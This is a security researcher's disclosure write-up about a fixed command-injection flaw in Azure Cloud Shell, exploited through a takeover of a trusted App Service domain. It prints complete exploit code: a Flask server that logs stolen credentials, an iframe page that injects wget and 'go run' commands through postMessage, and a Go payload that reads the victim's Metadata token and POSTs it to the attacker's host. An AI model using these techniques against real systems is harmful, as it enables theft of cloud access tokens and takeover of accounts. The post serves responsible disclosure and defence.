September 20, 2022

Azure Cloud Shell Command Injection Stealing User’s Access Tokens

Azure Cloud Shell is an interactive, authenticated, browser-accessible shell for managing Azure resources. This post describes how I took over an Azure Cloud Shell trusted domain and leveraged it to inject and execute commands in other users’ terminals. Using the executed code, I accessed the Metadata service attached to the terminal and obtained the user’s access token. This access token provides an attacker the Azure permissions of the victim user and enables them to perform operations on its behalf.

The vulnerability was reported to Microsoft who subsequently fixed the issue.

Cloud Shell Cross-Origin Communication

The Cloud Shell console is embedded as an HTML iframe element within the Azure Portal.

1-4

The source URL of the embedded iframe is:
https://ux.console.azure.com?region=westeurope&trustedAuthority=https%3A%2F%2Fportal.azure.com&l=en.en-us&feature.azureconsole=true

Two interesting things to note in the URL above:

  1. The domain of the embedded iframe is ux.console.azure.com, which is different than the domain of the parent window portal.azure.com. As these are two different origins, there should be trust between them to communicate via JavaScript.
  2. The request parameter trustedAuthority might be a part of such trust between the two different origins. The value of the trustedAuthority parameter is https://portal.azure.com, which matches the origin of the embedding window.

If the trustedAuthority parameter is somehow part of the trust between the two different origins, then the ux.console.azure.com should use it. Let’s have a look at the ux.console.azure.com JavaScript files.

2-3

I will start by looking at main.js and search for “trustedAuthority”. The image below shows the match.

3-3

The trustedAuthority request parameter value is assigned to the trustedParentOrigin variable. The trustedParentOrigin variable is later used as part of the origin check in the isTrustedOrigin function.

4-2

The isTrustedOrigin function searches for the trustedAuthority domain in a fixed list of trusted domains named allowedParentFrameAuthorities. The allowedParentFrameAuthorities list values are:

var allowedParentFrameAuthorities = ["localhost:3000", "localhost:55555", "localhost:6516", "azconsole-df.azurewebsites.net", "cloudshell-df.azurewebsites.net", "portal.azure.com", "portal.azure.us", "rc.portal.azure.com", "ms.portal.azure.com", "docs.microsoft.com", "review.docs.microsoft.com", "ppe.docs.microsoft.com", "shell.azure.com", "ms.shell.azure.com", "rc.shell.azure.com", "testappservice.azurewebsites.us", "ux.console.azure.us", "admin-local.teams.microsoft.net", "admin-ignite.microsoft.com", "wusportalprv.office.com", "portal-sdf.office.com", "ncuportalprv.office.com", "admin.microsoft.com", "portal.microsoft.com", "portal.office.com", "admin.microsoft365.com","cloudconsole-ux-prod-usgovaz.azurewebsites.us","cloudconsole-ux-prod-usgovva.azurewebsites.us","admin-sdf.exchange.microsoft.com","admin.exchange.microsoft.com","cloudconsole-ux-prod-usnatwest.appservice.eaglex.ic.gov","cloudconsole-ux-prod-usnateast.appservice.eaglex.ic.gov","portal.azure.eaglex.ic.gov", "cloudconsole-ux-prod-ussecwest.appservice.microsoft.scloud","cloudconsole-ux-prod-usseceast.appservice.microsoft.scloud","portal.azure.microsoft.scloud", "admin-local.teams.microsoft.net", "admin-dev.teams.microsoft.net", "admin-int.teams.microsoft.net", "admin.teams.microsoft.com", "local-prod.portal.azure.com", "preview.portal.azure.com"];

The domain “cloudshell-df.azurewebsites.net” is highlighted for a reason that will be explained later in this post.

The isTrustedOrigin check is being made inside the setupParentMessage function, which is being executed when the iframe document is ready. Additionally, inside the setupParentMessage function there is the setup of a postMessage event listener and handler for the cross-origin communication.

All this reverse walkthrough of the code can be confusing, so here is a flow diagram that shows the calls from the moment the ux.console.azure.com window is opened to help visualize the process:

5-2

Using postMessage for cross-origin communication is a known method for such cases. To secure the communication, the listening window that accepts the message should check that the origin of the window that triggered the message is trusted. You can read more about the postMessage method and its security here.

I wanted to do the same as Azure Portal and open ux.console.azure.com in an HTML iframe. But since I could only use a domain I own, which is not included in the allowedParentFrameAuthorities list, the isTrustedOrigin check would fail. Although it is true that I have full control over the trustedAuthority parameter value, and I can use https://portal.azure.com to pass the isTrustedOrigin check, it would fail later in the process since the postMessageHandler function checks the event origin.

Luckily, one of the domains in the allowedParentFrameAuthorities trusted list is cloudshell-df.azurewebsites.net – this is an Azure App Service domain.

Taking Over the Azure App Service Domain

Azure App Service is a fully managed web hosting service. When you create an Azure App Service web app you need to choose a name for the web app resource. This name is used to generate a unique domain for your website with the format of <APP-NAME>.azurewebsites.net.

When I tried to access https://cloudshell-df.azurewebsites.net I received an error of “This site can’t be reached” with “DNS_PROBE_FINISHED_NXDOMAIN”. This error means that the “cloudshell-df” app name is not taken in Azure App Service! So, let’s take it.

The screenshots below show the successful creation of a new Azure App Service web app with “cloudshell-df” name.

6-3

7-2

Creating Initial Web App Content

I started with creating a simple Python Flask application that has only the iframe in its index.html page.

This is the content of the server app.py:

from flask import Flask, render_template

app = Flask(__name__)


@app.route
('/')
def index():
  print('Request for index page received')
  return render_template('index.html')


if
__name__ == '__main__':
  app.run()

This is the content of templates/index.html:

<html><iframe class="fxs-console-iframe" id="consoleFrameId" role="document" sandbox="allow-same-origin allow-scripts allow-popups allow-modals allow-forms allow-downloads" frameborder="0" aria-label="Cloud Shell" style="width: 50%; height: 50%;" src="https://ux.console.azure.com?region=westeurope&amp;trustedAuthority=https%3A%2F%2Fcloudshell-df.azurewebsites.net&amp;l=en.en-us&amp;feature.azureconsole=true"></iframe> </html>

Deploy the new application content using the command:

az webapp up --name cloudshell-df --logs

Here is the resulting application in the browser:

8-2

It successfully passed the isTrustedOrigin check.

Exploring the postMessage Message Options

As you can see, the content of the shell itself is not loaded automatically. This is because the shell window is waiting for a postMessage event from its parent to start the terminal creation. Let’s have a look at the message structure that the shell console expects to get. Below is a screenshot with the content of the postMessageHandler function in main.js.

9-1

The first check ensures that the origin who triggered the postMessage message event is trusted. Since the parent window domain is cloudshell-df.azurewebsites.net, I pass this check. From the next code lines that go over the message data, we can understand that the outer data structure should be as follows:

{signature: "portalConsole", type: <TYPE>}

Where <TYPE> can be one of the four options: "postToken", "restart", "postConfig" or "postCommand".

Obviously the "postCommand" option caught my attention, so I checked the content of the handleCommandInjection function.

10-1

The function further parses the event’s data, but after obtaining the finalized commands, there is a check in line 411 for an active session. We will have an active session if there is an active Cloud Shell terminal with an open WebSocket connection. We can try and start such session from our context, but it will be useless since it will not have the victim user’s credentials attached. The “else” part is interesting - it saves the commands in the browser localStorage. The next time when a Cloud Shell terminal socket will be opened from the browser, the commands from the localStorage will be executed. The screenshot below shows the writeInjectedCommands function that is being called from the handleSocketOpen function.

11-1

To better understand the structure of a command, let’s check the code of the handleCommandEvtBody function, which is in a different JavaScript file, commands.js.

12-1

Without getting into the details of the function itself, we can see that we are limited to a set of commands that we can run. I will use wget and go commands.

My final postMessage message content is:

{
  signature: "portalConsole",
  type: "postCommand",
  message: [{name: "wget", args: {value: "https://cloudshell-df.azurewebsites.net/payload.go"}},{name: "go", args: [{value: "run"}, {value: "payload.go"}]}],
  cliType: "bash"
}

Upgrading to Cloud Shell Command Injection Payload

Back to my Flask application, I will create three endpoints:

  1. @app.route('/')
    This endpoint will return the index.html page with the Cloud Shell console in an iframe. Additionally, there will be a JavaScript that sends a postMessage message that injects the localStorage with the following commands:
    wget 'https://cloudshell-df.azurewebsites.net/payload.go'
    go run payload.go

  2. @app.route('/payload.go')
    This endpoint will download the go payload code that will run inside the victim’s Cloud Shell terminal. The code will access the Metadata service to retrieve the victim’s credentials. Then, the code will send the stolen credentials to the attacker.

  3. @app.route('/creds', methods=['POST'])
    This endpoint accepts the stolen credentials and logs them.

This is the content of the server app.py:

import os
from flask import Flask, render_template, request, send_from_directory

app = Flask(__name__)


@app.route('/')
def index():  
  print('Request for index page received')
  return render_template('index.html')


@app.route('/payload.go')
def payload():
  return send_from_directory(os.path.join(app.root_path, 'static'),                          'payload.go', mimetype='application/x-binary')

@app.route('/creds', methods=['POST'])
def creds():
  print("Got new creds!")
  print(request.data)
  return "OK"



if __name__ == '__main__':
  app
.run()

 

This is the content of templates/index.html:

<html>
<p>This page runs Javascript that injects the localStorage with the payload.</br>You will be redirected soon. Thanks :)</p>

<iframe class="fxs-console-iframe" id="consoleFrameId" role="document" sandbox="allow-same-origin allow-scripts allow-popups allow-modals allow-forms allow-downloads" frameborder="0" aria-label="Cloud Shell" style="width: 0%; height: 0%;" src="https://ux.console.azure.com?region=westeurope&amp;trustedAuthority=https%3A%2F%2Fcloudshell-df.azurewebsites.net&amp;l=en.en-us&amp;feature.azureconsole=true"></iframe>

<script>
function sendPostMessage() {
frame
= document.getElementById("consoleFrameId"); frame.contentWindow.postMessage({          signature:"portalConsole",                           type:"postCommand",                          
message
: [{name: "wget", args: {value: "https://cloudshell-df.azurewebsites.net/payload.go"}}, {name: "go", args: [{value: "run"}, {value: "payload.go"}]}],                          
cliType
: "bash"                     
},
"*");} 

setTimeout(function(){ sendPostMessage();  
  setTimeout(
function(){
    window.location.replace("https://portal.azure.com/#cloudshell/");  
  },
1000);
}, 2000);
</script>
</html>

This is the content of static/payload.go:

package main 

import (  
  "fmt"  
  "io/ioutil"  
  "net/http"  
  "bytes"
) 


func main() {  
  client
:= &http.Client{}  
  req, err
:= http.NewRequest("GET", "http://localhost:50342/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F", nil)      req.Header.Add("Metadata", "true")  
  fmt.Println(
"Accessing Metadata.")  
resp, err
:= client.Do(req)  
if err != nil {      
fmt.Println(
"An Error occured while accessing Metadata.")   }   
defer resp.Body.Close()  
body, err
:= ioutil.ReadAll(resp.Body)  
postBody
:= bytes.NewBuffer(body)  
fmt.Println(
"Sending token.")  
_, err = http.Post(
"https://cloudshell-df.azurewebsites.net/creds", "application/json", postBody)   if err != nil {      
fmt.Println(
"An Error occured while sending token.")  
}
}

Full Exploit Execution

  1. Victim user access to https://cloudshell-df.azurewebsites.net
  2. The JavaScript uses postMessage message to inject the commands to the localStorage.

    13-1

  3. The user is being redirected to https://portal.azure.com/#cloudshell/
  4. The Cloud Shell terminal opens, and the commands are written from the localStorage to the terminal.

    14-1

  5. The Go payload is executed, obtaining the victim’s credentials from the Metadata service, and sending them to the attacker.

    15-1

  6. The attacker gets the credentials from the application logs.
    16-1

Mitigation

I reported this vulnerability to Microsoft Security Response Center (MSRC) and Microsoft removed “cloudshell-df.azurewebsites.net” from the allowedParentFrameAuthorities list. This domain is not trusted anymore by the Cloud Shell window.

Timeline

  • Aug 20, 2022: Vulnerability was reported to Microsoft Security Response Center (MSRC).
  • Aug 24, 2022: MSRC confirmed the issue and opened investigation. MSRC awarded a $10,000 bounty.
  • Aug 29, 2022: Microsoft deployed the fix.

-----------------------------------

About Lightspin

Lightspin’s context-based cloud security empowers cloud and security teams to eliminate risks and maximize productivity by proactively and automatically detecting all security risks, smartly prioritizing the most critical issues, and easily fixing them. For more information, visit https://www.lightspin.io/